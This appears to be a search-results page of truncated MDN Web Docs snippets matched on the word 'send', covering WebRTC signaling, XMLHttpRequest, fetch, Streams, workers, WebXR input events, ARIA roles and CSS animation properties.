sendcandidatetopeer(e.candidate); // signaling message } }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.cantrickleiceca...
RTCPeerConnection.createAnswer() - Web APIs
gment of code taken from the code that goes with the article signaling and video calling. this code comes from the handler for the message sent to carry an offer to another peer across the signaling channel. keep in mind that this is part of the signaling process, the transport layer for which is an implementation detail that's entirely up to you. ...
...annel. keep in mind that this is part of the signaling process, the transport layer for which is an implementation detail that's entirely up to you. in this case, a websocket connection is used to
send a json message with a type field with the value "video-answer" to the other peer, carrying the answer to the device which sent the offer to connect. the contents of the object being passed to the
sendtoserver() function, along with everything else in the promise fulfillment handler, depend entirely on your design pc.createanswer().then(function(answer) { return pc.setlocaldescription(answer); }) .then(function() { //
send the answer to the remote peer through the signaling server. }) .catch(handlegetusermediaerror); this asks rtcpeerconnection to create and return a new answer. in our ...
RTCPeerConnection.getTransceivers() - Web APIs
the list is in the order in which the transceivers were added to the connection. example the following snippet of code stops all transceivers associated with an rtcpeerconnection. ...
...the list is in the order in which the transceivers were added to the connection. example the following snippet of code stops all transceivers associated with an rtcpeerconnection. ...
RTCPeerConnection.onicecandidate - Web APIs
on an rtcpeerconnection instance. this happens whenever the local ice agent needs to deliver a message to the other peer through the signaling server. this lets the ice agent perform negotiation with the remote peer without the browser itself needing to know any specifics about the technology being used for signaling; simply implement this method to use whatever messaging technology you choose to
send the ice candidate to the remote peer. syntax rtcpeerconnection.onicecandidate = eventhandler; value this should be set to a function which you provide that accepts as input an rtcpeerconnectioniceevent object representing the icecandidate event. the function should deliver the ice candidate, whose sdp can be found in the event's candidate property, to the remote peer through the signaling se...
... also changed to complete. you don't need to watch for this explicitly; instead, if you need to sense the end of signaling, you should watch for a icegatheringstatechange event indicating that the ice negotiation has transitioned to the complete state. example the example below, which is based on the code from the article signaling and video calling, sets up a handler for icecandidate events to
send the candidates to the remote peer. pc.onicecandidate = function(event) { if (event.candidate) { //
send the candidate to the remote peer } else { // all ice candidates have been sent } } notice that the end of negotiation is detected here when the event's candidate property is null. specifications specification status comment webrtc 1.0: real-time com...
RTCPeerConnection.onnegotiationneeded - Web APIs
ner which specifies a function which is called to handle the negotiationneeded event when it occurs on an rtcpeerconnection instance. this event is fired when a change has occurred which requires session negotiation. this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer. most commonly, the negotiationneeded event is fired after a
send track is added to the rtcpeerconnection. if the session is modified in a manner that requires negotiation while a negotiation is already in progress, no negotiationneeded event will fire until negotiation completes, and only then if negotiation is still needed. syntax rtcpeerconnection.onnegotiationneeded = eventhandler; value this should be set to a function you provide which is passed a si...
... object containing the negotiationneeded event. there's no additional information provided in the event; anything you need, you can get by examining the properties of the rtcpeerconnection. example this example, derived from the example in signaling and video calling, establishes a handler for negotiationneeded events to handle creating an offer, configuring the local end of the connection, and
sending the offer to the remote peer. pc.onnegotiationneeded = function() { pc.createoffer().then(function(offer) { return pc.setlocaldescription(offer); }) .then(function() { //
send the offer to the remote peer through the signaling server }); }) .catch(reporterror); } first, it creates the offer by calling createoffer(). when that succeeds, the offer is passed into setloca...
RTCPeerConnection.sctp - Web APIs
the peer connection. syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and receiving on its data channels, or null if sctp negotiation hasn't happened. ...
...eer connection. syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and receiving on its data channels, or null if sctp negotiation hasn't happened. example var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.
send('
sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification. ...
RTCPeerConnection.setConfiguration() - Web APIs
this is then passed into setconfiguration(). ice negotiation is restarted by calling createoffer(), specifying true as the value of the icerestart option. from there, we handle the process as usual, by setting t...
...ver }) .catch(reporterror); first, a new rtcconfiguration is created, restartconfig, specifying the new ice server and its credentials. this is then passed into setconfiguration(). ice negotiation is restarted by calling createoffer(), specifying true as the value of the icerestart option. from there, we handle the process as usual, by setting the local description to the returned offer and then
sending that offer to the other peer. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'setconfiguration()' in that specification. candidate recommendation initial definition. ...
RTCRtpParameters - Web APIs
the rtcrtpparameters dictionary is the basic object describing the parameters of an rtp transport. it is extended separately for
senders and receivers in the form of the rtcrtp
sendparameters and rtcrtpreceiveparameters dictionaries. to obtain the parameters of a
sender or receiver, call its getparameters() method: getparameters() getparameters() properties codecs an array of rtcrtpcodecparameters objects describing the set of codecs from which the
sender or receiver will choose. this parameter cannot be changed once initially set. headerextensions an array of zero or more rtp header extensions, each identifying an extension supported by the
sender or receiver. header extensions are described in rfc 3550: 5.3.1. this parameter cannot be changed once initially set. rtcp an rtcrtc...
...will choose. this parameter cannot be changed once initially set. headerextensions an array of zero or more rtp header extensions, each identifying an extension supported by the
sender or receiver. header extensions are described in rfc 3550: 5.3.1. this parameter cannot be changed once initially set. rtcp an rtcrtcpparameters object providing the configuration parameters used for rtcp on the
sender or receiver. this parameter cannot be changed once initially set. examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtp
sender or rtcrtpreceiver. function getrtpcname(rtpobject) { let parameters = rtpobject.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time comm...
RTCRtpReceiver.getCapabilities() static function - Web APIs
syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the device's capability to receive. all browsers support the primary media kinds: audio and video. ...
... syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the device's capability to receive. all browsers support the primary media kinds: audio and video. ...
RTCRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcrtpstreamstats dictionary states the number of times the stream's receiving end sent a picture loss indication (pli) packet to the
sender. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the stream's receiver to the
sender. ...
...t to the
sender. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the stream's receiver to the
sender. a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the
sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost. this may trigger the
sender to
send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media. however, the primary purpose of this message is to allow the
sender to consider techniques to mitigate network performance issues. t...
RTCRtpTransceiver.stop() - Web APIs
the stop() method in the rtcrtptransceiver interface permanently stops the transceiver by stopping both the associated rtcrtp
sender and rtcrtpreceiver. note: until recently, the stopped property was provided to return true if the connection is stopped. that property has been deprecated and will be removed at some point. instead, check the value of currentdirection. if it's stopped, the transceiver has been stopped. this method does nothing if the transceiver is already stopped. syntax rtcrtptransceiver.stop() paramters none. return value undefined exceptions invalidstateerror the rtcpeerconnection of which the transceiver is a member is closed. ...
...stead, check the value of currentdirection. if it's stopped, the transceiver has been stopped. this method does nothing if the transceiver is already stopped. syntax rtcrtptransceiver.stop() paramters none. return value undefined exceptions invalidstateerror the rtcpeerconnection of which the transceiver is a member is closed. usage notes when you call stop() on a transceiver, the
sender immediately stops
sending media and each of its rtp streams are closed using the rtcp "bye" message. the receiver then stops receiving media; the receiver's track is stopped, and the transceiver's direction is changed to stopped, and renegotiation is triggered by
sending a negotiationneeded event to the rtcpeerconnection. the negotiation process causes currentnegotiation to be set to stopped, ...
RTCStats - Web APIs
arious types of statistics for webrtc are structured in such a way that they build upon the core rtcstats dictionary, each layer adding more relevant information. rtcstats is the foundation of all webrtc statistics objects rtcrtpstreamstats adds to rtcstats information that applies to all rtp endpoints (that is, both local and remote endpoints, and regardless of whether the endpoint is a
sender or a receiver) rtcreceivedrtpstreamstats further adds statistics measured at the receiving end of an rtp stream, regardless of whether it's local or remote. rtcinboundrtpstreamstats contains statistics that can only be measured on a receiver at the local end of the rtp connection. rtcoutboundrtpstreamstats contains statistics related to the receiver at the remo...
...iving end of an rtp stream, regardless of whether it's local or remote. rtcinboundrtpstreamstats contains statistics that can only be measured on a receiver at the local end of the rtp connection. rtcoutboundrtpstreamstats contains statistics related to the receiver at the remote end of the rtp stream. rtcsentrtpstreamstats offers statistics related to the
sending end of an rtp stream. rtcoutboundrtpstreamstats contains statistics about the local
sending endpoint of an rtp stream. rtcremoteoutboundrtpstreamstats holds statistics related to the remote
sending end an rtp stream. specifications specification status comment webrtc 1.0: real-time communication between browsersth...
RTCTrackEvent.transceiver - Web APIs
note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. ...
... note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. ...
ReadableStream - Web APIs
er = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.read().then(({ done, value }) => { // is there no more data to read? ...
... living standard initial definition...
ReadableStreamDefaultReader - Web APIs
sponse.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return reader.read().then(({ done, value }) => { // is there no more data to read? ...
... living standard initi...
SharedWorkerGlobalScope.onconnect - Web APIs
d worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect event handler fires. the event object is a messageevent. the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to
send messages back to the main thread using the worker. onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } port.start(); } for a complete running example, see our basic shared worker example (run shared worker.) note: the data property of the event o...
... per spec (bug 1508824). specifications specification status comment html living standardthe definition of 'onconnect' in that specification. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonconnectchrome full support 4edge full support ≤79firefox full support 29ie ...
Streams API concepts - Web APIs
ny browsers. at some point the spec writers hope to add something like a transformstream class to make creating transform streams easier. backpressure an important concept in streams is backpressure — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. when a stream later in the chain is still busy and isn't yet ready to accept more chunks, it
sends a signal backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere. to use backpressure in a readablestream, we can ask the controller for the chunk size desired by the consumer by querying the readablestreamdefaultcontroller.desiredsize property on the controller. if it is too...
... streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere. to use backpressure in a readablestream, we can ask the controller for the chunk size desired by the consumer by querying the readablestreamdefaultcontroller.desiredsize property on the controller. if it is too low, our readablestream can tell its underlying source to stop
sending data, and we backpressure along the stream chain. if later on the consumer again wants to receive data, we can use the pull method in the stream creation to tell our underlying source to feed our stream with data. internal queues and queuing strategies as mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue. i...
Introduction to WebRTC protocols - Web APIs
ta through a server if your router doesn’t allow you to directly connect with peers. ice uses stun and/or turn servers to accomplish this, as described below. stun session traversal utilities for nat (stun) (acronym within an acronym) is a protocol to discover your public address and determine any restrictions in your router that would prevent a direct connection with a peer. the client will
send a request to a stun server on the internet who will reply with the client’s public address and whether or not the client is accessible behind the router’s nat. nat network address translation (nat) is used to give your device a public ip address. a router will have a public ip address and every device connected to the router will have a private ip address. requests will be translated from...
...employ a restriction called ‘symmetric nat’. this means the router will only accept connections from peers you’ve previously connected to. traversal using relays around nat (turn) is meant to bypass the symmetric nat restriction by opening a connection with a turn server and relaying all information through that server. you would create a connection with a turn server and tell all peers to
send packets to the server which will then be forwarded to you. this obviously comes with some overhead so it is only used if there are no other alternatives. sdp session description protocol (sdp) is a standard for describing the multimedia content of the connection such as resolution, formats, codecs, encryption, etc. so that both peers can understand each other once the data is transferring. th...
WebSocket.bufferedAmount - Web APIs
syntax var bufferedamount = awebsocket.bufferedamount; value an unsigned long. ...
... syntax var bufferedamount = awebsocket.bufferedamount; value an unsigned long. ...
Inputs and input sources - Web APIs
down again in a new location. if your primary action is a simple trigger action and you don't need to animate anything while the trigger is engaged, you can ignore the selectstart and selectend events and simply act on the start event. xrsession.addeventlistener("select", event => { let inputsource = event.inputsource; let frame = event.frame; /* handle the event */ }); some actions may
send these events very quickly, one after the other. the time that elapses between these events depends on both the hardware apparatus that causes the action as well as the software drivers that interpret the hardware action and turn it into a series of events. do not presume these events will happen with any particular amount of time between them. for example, if the hardware that causes the primary...
... is a button, you would receive selectstart when the user presses the button, then select and selectend when the user releases it. there are a number of examples showing how to handle select events throughout the documentation, such as in the section on targeting and the targeting ray elsewhere in this article. primary squeeze action a primary squeeze action is a platform-specific action which
sends the xrsession squeezestart, squeezeend, and squeeze events. this is typically generated by the user squeezing the controller, making a hand gesture that mimes grabbing something, or using (squeezing) a trigger. the sequence of events is identical to those sent by the primary action, save for the name of each event: an squeezestart event is sent to the xrsession, indicating that the user has ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
tsourcenode. the technique this is actually a really easy way to do something that sounds like it might be hard to do. you simply need to create a constantsourcenode and connect it to all of the audioparams whose values should be linked to always match each other. since constantsourcenode's offset value is simply sent straight through to all of its outputs, it acts as a splitter for that value,
sending it to each connected parameter. the diagram below shows how this works; an input value, n, is set as the value of the constantsourcenode.offset property. the constantsourcenode can have as many outputs as necessary; in this case, we've connected it to three nodes: two gainnodes and a stereopannernode. so n becomes the value of the specified parameter (gain for the gainnodes and pan for the st...
..., setting their values to match gainnode1, then set the value of the volume slider to the same value, so it is synchronized with the gain level it controls. once all the gain nodes are created, we create the constantsourcenode, constantnode. we connect its output to the gain audioparam on both gainnode2 and gainnode3, and we start the constant node running by calling its start() method; now it's
sending the value 0.5 to the two gain nodes' values, and any change to constantnode.offset will automatically set the gain of both gainnode2 and gainnode3 (affecting their audio inputs as expected). finally, we connect all the gain nodes to the audiocontext's destination, so that any sound delivered to the gain nodes will reach the output, whether that output be speakers, headphones, a recording stre...
Migrating from webkitAudioContext - Web APIs
. because of these problems, this version of the createbuffer() method has been removed, and you should use the asynchronous decodeaudiodata() method instead. ...
...ebuffer(xhr.response, false); if (decodedbuffer) { // decoding was successful, do something useful with the audio buffer } else { alert("decoding the audio buffer failed"); } }; converting this code to use decodeaudiodata() is relatively simple, as can be seen below: var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.
send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishe...
Window: popstate event - Web APIs
user navigating the site or the history being traversed programmatically. here, the transition is changing the current history entry to one we'll refer to as new-entry. the current page's session history stack entry will be referred to as current-entry. if new-entry doesn't currently contain an existing document, fetch the content and create its document before continuing. this will eventually
send events such as domcontentloaded and load to the window containing the document, but the steps below will continue to execute in the meantime. if current-entry's title wasn't set using one of the history api methods (pushstate() or replacestate(), set the entry's title to the string returned by its document.title attribute. if the browser has state information it wishes to store with the current...
...current. if new-entry has serialized state information saved with it, that information is deserialized into history.state; otherwise, state is null. if the value of state changed, the popstate event is sent to the document. any persisted user state is restored, if the browser chooses to do so. if the original and new entry's shared the same document, but had different fragments in their urls,
send the hashchange event to the window. as you can see, the popstate event is nearly the last thing done in the process of navigating pages in this way. examples a page at http://example.com/example.html running the following code will generate logs as indicated: window.addeventlistener('popstate', (event) => { console.log("location: " + document.location + ", state: " + json.stringify(event.s...
WindowOrWorkerGlobalScope.fetch() - Web APIs
to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object. note that a request using the get or head method cannot have a body. mode the mode you want to use for the request, e.g., cors, no-cors, or same-origin. credentials the request credentials you want to use for the request: omit, same-origin, or include. to automatically
send cookies for the current domain, this option must be provided. starting with chrome 50, this property also takes a federatedcredential instance or a passwordcredential instance. cache the cache mode you want to use for the request. redirect the redirect mode to use: follow (automatically follow redirects), error (abort with an error if a redirect occurs), or manual (handle redirects manual...
...ade, same-origin, origin, strict-origin, origin-when-cross-origin, strict-origin-when-cross-origin, or unsafe-url. integrity contains the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfse=). keepalive the keepalive option can be used to allow the request to outlive the page. fetch with the keepalive flag is a replacement for the navigator.
sendbeacon() api. signal an abortsignal object instance; allows you to communicate with a fetch request and abort it if desired via an abortcontroller. return value a promise that resolves to a response object. exceptions aborterror the request was aborted due to a call to the abortcontroller method abort() method. typeerror the specified url string includes user credentials. this in...
Worker - Web APIs
creating a worker is done by calling the worker("path/to/worker/script") constructor. workers may themselves spawn new workers, as long as those workers are hosted at the same origin as the parent page. (note: nested workers are not yet implemented in webkit). not all interfaces and functions are available to scripts inside a worker. workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null. ...
...a message is sent to the parent document from the worker via dedicatedworkerglobalscope.postmessage. the message is stored in the event's data property. worker.onmessageerror is an eventhandler representing the code to be called when the messageerror event is raised. methods inherits methods from its parent, eventtarget, and implements methods from abstractworker. worker.postmessage()
sends a message — consisting of any javascript object — to the worker's inner scope. worker.terminate() immediately terminates the worker. this does not let worker finish its operations; it is halted at once. serviceworker instances do not support this method. events message fires when the worker's parent receives a message from that worker. also available via the onmessage property. mes...
XMLHttpRequest() - Web APIs
the xmlhttprequest() constructor creates a new xmlhttprequest. for details about how to use xmlhttprequest, see using xmlhttprequest. syntax const request = new xmlhttprequest(); parameters none. return value a new xmlhttprequest object. the object must be prepared by at least calling open() to initialize it before calling
send() to
send the request to the server. non-standard firefox syntax firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see bug 692677). setting the mozanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification. const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags ...
...ill cause the browser not to expose the origin and user credentials when fetching resources. most important, this means that cookies will not be sent unless explicitly added using setrequestheader. mozsystem boolean: setting this flag to true allows making cross-site connections without requiring the server to opt-in using cors. requires setting mozanon: true, i.e. this can't be combined with
sending cookies or other user credentials. this only works in privileged (reviewed) apps (bug 692677); it does not work on arbitrary webpages loaded in firefox ...
XMLHttpRequest.overrideMimeType() - Web APIs
the xmlhttprequest method overridemimetype() specifies a mime type other than the one provided by the server to be used instead when interpreting the data being transferred in a request. this may be used, for example, to force a stream to be treated and parsed as "text/xml", even if the server does not report it as such. this method must be called before calling
send(). syntax xmlhttprequest.overridemimetype(mimetype) parameters mimetype a domstring specifying the mime type to use instead of the one specified by the server. if the server doesn't specify a type, xmlhttprequest assumes "text/xml". return value undefined. example this example specifies a mime type of "text/plain", overriding the server's stated type for the data being received. note: if the server doesn't...
...prequest assumes that the mime type is "text/xml". if the content isn't valid xml, an "xml parsing error: not well-formed" error occurs. you can avoid this by calling overridemimetype() to specify a different type. // interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.
send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification. living standard whatwg living standard ...
XMLHttpRequest.response - Web APIs
er, blob, document, javascript object, or domstring, depending on the value of the request's responsetype property. syntax var body = xmlhttprequest.response; value an appropriate object based on the value of responsetype. you may attempt to request the data be provided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling
send() to
send the request to the server. the value is null if the request is not yet complete or was unsuccessful, with the exception that when reading text data using a responsetype of "text" or the empty string (""), the response can contain the response so far while the request is still in the loading readystate (3). the response types are described below. "" an empty responsetype string is ...
... callback function provided to load(). the content is handled as raw text data (since nothing here is overriding the default responsetype). ...
XMLHttpRequest.responseText - Web APIs
the read-only xmlhttprequest property responsetext returns the text received from a server following a request being sent. syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling
send(). while handling an asynchronous request, the value of responsetext always has the current content received from the server, even if it's incomplete because the data has not been completely received yet. you know the entire content has been received when the value of readystate becomes xmlhttprequest.done (4), and status becomes 200 ("ok"). exceptions invalidstateerror the xmlhttprequest.responsetype is not set to eithe...
...lue is an error condition. ...
XMLHttpRequest.setRequestHeader() - Web APIs
the xmlhttprequest method setrequestheader() sets the value of an http request header. when using setrequestheader(), you must call it after calling open(), but before calling
send(). if this method is called several times with the same header, the values are merged into one single request header. each time you call setrequestheader() after the first time you call it, the specified text is appended to the end of the existing header's content. if no accept header has been set using this, an accept header with the type "*/*" is sent with the request when
send() is called. for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. note: for your custom fields, you may encounter a "not al...
...in this situation, you need to set up the access-control-allow-headers in your response header at server side. syntax xmlhttprequest.setrequestheader(header, value) parameters header the name of the header whose value is to be set. value the value to set as the body of the header. ...
XMLHttpRequest.timeout - Web APIs
requests requests used in a document environment or it will throw an invalidaccesserror exception. when a timeout happens, a timeout event is fired. note: you may not use a timeout for synchronous requests with an owning window. ...
...plorer, the timeout property may be set only after calling the open() method and before calling the
send() method. example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.timeout = 2000; // time in milliseconds xhr.onload = function () { // request finished. do processing here. }; xhr.ontimeout = function (e) { // xmlhttprequest timed out. do something here. ...
XRInputSourceEvent() - Web APIs
s the new object will represent. permitted values are listed under event types below. eventinitdict an object based on the xrinputsourceeventinit dictionary which contains the values to assign to the new event's properties. return value a new xrinputsourceevent object representing the event described by the given type and eventinitdict. event types select sent to an xrsession when the
sending input source has fully completed a primary action. selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, iss...
...oing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like. squeeze sent to an xrsession when the
sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze action ends or when an input source with an ongoing primary squeeze action is disconnected. squeezestart sent to an xrsession when an input source begins its primary squeeze action, indicating that the user has begun to grab, squeeze, or grip the controller. examples...
XRInputSourceEvent - Web APIs
ation frame, you cannot call the xrframe method getviewerpose() on it; instead, use getpose(). inputsource read only an xrinputsource object indicating which input source generated the input event. methods the xrinputsourceevent interface doesn't define any methods; however, several methods are inherited from the parent interface, event. event types select sent to an xrsession when the
sending input source has fully completed a primary action. selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, iss...
...oing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like. squeeze sent to an xrsession when the
sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze action ends or when an input source with an ongoing primary squeeze action is disconnected. squeezestart sent to an xrsession when an input source begins its primary squeeze action, indicating that the user has begun to grab, squeeze, or grip the controller. examples...
Web APIs
ermissions photocapabilities plugin pluginarray point pointerevent popstateevent positionoptions processinginstruction progressevent promiserejectionevent publickeycredential publickeycredentialcreationoptions publickeycredentialrequestoptions pushevent pushmanager pushmessagedata pushregistrationmanager pushsubscription r rtcansweroptions rtccertificate rtcconfiguration rtcdtmf
sender rtcdtmftonechangeevent rtcdatachannel rtcdatachannelevent rtcdtlstransport rtcerror rtcerrorevent rtcicecandidate rtcicecandidateinit rtcicecandidatepair rtcicecandidatepairstats rtcicecandidatestats rtcicecandidatetype rtcicecomponent rtcicecredentialtype rtcicegathererstate rtciceparameters rtciceprotocol rtcicerole rtciceserver rtcicetcpcandidatetype rtcicetransport rtcicetransportst...
...oundrtpstreamstats rtcnetworktype rtcofferansweroptions rtcofferoptions rtcoutboundrtpstreamstats rtcpeerconnection rtcpeerconnectioniceerrorevent rtcpeerconnectioniceevent rtcremoteoutboundrtpstreamstats rtcrtcpparameters rtcrtpcapabilities rtcrtpcodeccapability rtcrtpcodecparameters rtcrtpcontributingsource rtcrtpencodingparameters rtcrtpparameters rtcrtpreceiveparameters rtcrtpreceiver rtcrtp
sendparameters rtcrtp
sender rtcrtpstreamstats rtcrtpsynchronizationsource rtcrtptransceiver rtcrtptransceiverdirection rtcrtptransceiverinit rtcsctptransport rtcsessiondescription rtcsessiondescriptioncallback rtcstats rtcstatsicecandidatepairstate rtcstatsreport rtcstatstype rtctrackevent rtctrackeventinit radionodelist range readablebytestreamcontroller readablestream readablestreambyobreade...
ARIA: form role - Accessibility
s. keyboard interactions no role specific keyboard interactions required javascript features onsubmit the onsubmit event handler handles the event raised when the form is submitted. anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest. ...
...te="nickname" autocorrect="off" type="text"> <label for="email">email</label> <input id="email" name="email" autocomplete="email" autocapitalize="off" autocorrect="off" spellcheck="false" type="text"> <label for="comment">comment</label> <textarea id="comment" name="comment"></textarea> <input value="comment" type="submit"> </div> it is recommended to use <form> instead. <form id="
send-comment" aria-label="add a comment"> .... </form> accessibility concerns use sparingly landmark roles are intended to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. inputs are not forms you do not need to declare role="form" on every form element (inputs...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
ure of msaa and of the inflexible heuristics that screen readers use, we do not have a "plug and play solution". in addition, assistive technology vendors are tiny companies, often scrambling to keep up with changes in the applications they already support, or new products other than yours which they need to support. it's very difficult to get vendors to spend time testing an msaa implementation,
send feedback or help find out why things aren't working. time and version commitments often fall through. there is always a belated new version due around corner, after which you will be promised to be the next priority. solution: try to reach out in a friendly manner to the assistive technology company. be as easy to work with as you possibly can -- this includes being extremely responsive to their...
...support for sun's atk accessibility api for linux and unix is implemented. creation of iaccessible objects the first thing that happens when an assistive technology wants to watch our application is that calls the windows api function accessibleobjectfromwindow(). this usually happens right after a window gets focused. when the win32 api function accessibleobjectfromwindow() is called, windows
sends the window in question a wm_getobject message requesting an iaccessible for your root object in the window. in our case, this event is received in mozilla/widget/src/windows/nswindow.cpp. we
send back an iaccessible pointer which can be used by the client to get information about this root object. the assistive technology will use that root iaccessible to traverse the rest of the object tree, b...
animation-delay - CSS: Cascading Style Sheets
rom applying the animation to an element before beginning to perform the animation. the animation can start later, immediately from its beginning, or immediately and partway through the animation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* single animation */ animation-delay: 3s; animation-delay: 0s; animation-delay: -1500ms; /* multiple animations */ animation-delay: 2.1s, 480ms; values <time> the time offset, from the moment at which the animation is applied to the element, at which the an...
...ples. specifications specification status comment css animationsthe definition of 'animation-delay' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-delaychrome full support 43 full support 43 full support 3prefixed prefixed im...
animation-direction - CSS: Cascading Style Sheets
the animation-direction css property sets whether an animation should play forward, backward, or alternate back and forth between playing the sequence forward and backward. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* single animation */ animation-direction: normal; animation-direction: reverse; animation-direction: alternate; animation-direction: alternate-reverse; /* multiple animations */ animation-direction: normal, reverse; animation-direction: alternate, reverse, normal; /* global values */ ...
... specifications specification status comment css animationsthe definition of 'animation-direction' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-directionchrome full support 43 full support 43 full support 3prefixed prefixe...
background-position-x - CSS: Cascading Style Sheets
the background-position-x css property sets the initial horizontal position for each background image. the position is relative to the position layer set by background-origin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the value of this property is overridden by any declaration of the background or background-position shorthand properties applied to the element after it. syntax /* keyword values */ background-position-x: left; background-position-x: center; background-position-x: right; /* <percentage> values */ background-position-x: 25%; /* <length> values */ background-position-x: 0px; background-positio...
...definition of 'background-position-x' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
